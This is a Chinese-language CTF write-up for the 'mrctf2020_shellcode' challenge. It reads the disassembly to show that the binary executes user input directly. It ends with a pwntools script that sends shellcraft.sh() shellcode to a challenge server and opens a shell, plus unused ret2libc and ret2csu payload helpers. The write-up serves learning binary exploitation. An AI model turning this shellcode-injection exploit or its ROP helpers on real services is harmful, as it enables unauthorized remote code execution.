mrctf2020_shellcode

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3 分钟

这题虽然是很简单的shellcode 但是因为禁用了ida的反编译 需要我们阅读汇编理解程序 就当作提高汇编理解能力了

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[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/chen/pwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

没有开NX保护 可以在内存上执行系统调用

拖到ida后发现f5报错 于是只能阅读汇编代码

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.text:0000000000001155 ; __unwind {
.text:0000000000001155                 push    rbp
.text:0000000000001156                 mov     rbp, rsp
.text:0000000000001159                 sub     rsp, 410h
.text:0000000000001160                 mov     rax, cs:stdin@@GLIBC_2_2_5
.text:0000000000001167                 mov     esi, 0          ; buf
.text:000000000000116C                 mov     rdi, rax        ; stream
.text:000000000000116F                 call    _setbuf
.text:0000000000001174                 mov     rax, cs:stdout@@GLIBC_2_2_5
.text:000000000000117B                 mov     esi, 0          ; buf
.text:0000000000001180                 mov     rdi, rax        ; stream
.text:0000000000001183                 call    _setbuf
.text:0000000000001188                 mov     rax, cs:stderr@@GLIBC_2_2_5
.text:000000000000118F                 mov     esi, 0          ; buf
.text:0000000000001194                 mov     rdi, rax        ; stream
.text:0000000000001197                 call    _setbuf
.text:000000000000119C                 lea     rdi, s          ; "Show me your magic!"    //断点1
.text:00000000000011A3                 call    _puts
.text:00000000000011A8                 lea     rax, [rbp+buf]
.text:00000000000011AF                 mov     edx, 400h       ; nbytes
.text:00000000000011B4                 mov     rsi, rax        ; buf 
.text:00000000000011B7                 mov     edi, 0          ; fd
.text:00000000000011BC                 mov     eax, 0
.text:00000000000011C1                 call    _read                                     //断点2
.text:00000000000011C6                 mov     [rbp+var_4], eax
.text:00000000000011C9                 cmp     [rbp+var_4], 0
.text:00000000000011CD                 jg      short loc_11D6                        //断点3
.text:00000000000011CF                 mov     eax, 0
.text:00000000000011D4                 jmp     short locret_11E4

断点1:

在这之前的汇编代码 执行了两步 一是清空缓存区 防止数据输入输出出现问题 第二步调用puts函数输出了一段字符串

断点2:

调用了read函数 可以手动反编译为read(0,buf,0x400)

断点3:

紧接着将**$eax的值赋给rbp+var_4** 与0进行比较

cmp的功能相当于减法指令，只是不保存结果

jg指令 如果大于就跳转 即如果$eax大于0就跳转到loc_11D6函数

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.text:00000000000011D6 loc_11D6:                               ; CODE XREF: main+78↑j
.text:00000000000011D6                 lea     rax, [rbp+buf]
.text:00000000000011DD                 call    rax
.text:00000000000011DF                 mov     eax, 0

lea指令将$rbp+buf即我们上面通过read输入的变量的地址赋值给rax

随后利用call指令调用这个地址的内容

也就是说我们只要直接输入shellcode就可以做到系统调用

exp:

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from pwn import*

def libcmath(function_addr,function_name):
    libc_addr = function_addr - libc.sym[function_name]
    system_addr = libc_addr + libc.sym['system']
    binsh_addr = libc_addr + next(libc.search(b"/bin/sh"))
    return system_addr,binsh_addr

def csu(offset,gadget2_addr,call_addr,rdx,rsi,rdi,gadget1_addr,ret_addr):
    payload = cyclic(offset)
    payload += p64(gadget2_addr)
    payload += cyclic(0x8)
    payload += p64(0)
    payload += p64(1)
    payload += p64(call_addr)
    payload += p64(rdx)
    payload += p64(rsi)
    payload += p64(rdi)
    payload += p64(gadget1_addr)
    payload += cyclic(56)
    payload += p64(ret_addr)
    return payload

def localconnect(filename):
    io = process(filename)
    return io

def remoteconnect(ip,port):
    io = remote(ip,port)
    return io

def elf_libc(filename,libc_name):
    elf = ELF(filename)
    libc = ELF(libc_name)
    return elf,libc

def debug(button):
    if(button==1):
        context.log_level = "debug"

filename = 'pwn'
libc_name = 'buu_libc_ubuntu16_64'
ip="node4.buuoj.cn"
port=29656
elf,libc = elf_libc(filename,libc_name)


io = remoteconnect(ip,port)
debug(1)
io.recvuntil("Show me your magic!")
context.arch = "amd64"
shellcode = asm(shellcraft.sh())
io.send(shellcode)
io.interactive()
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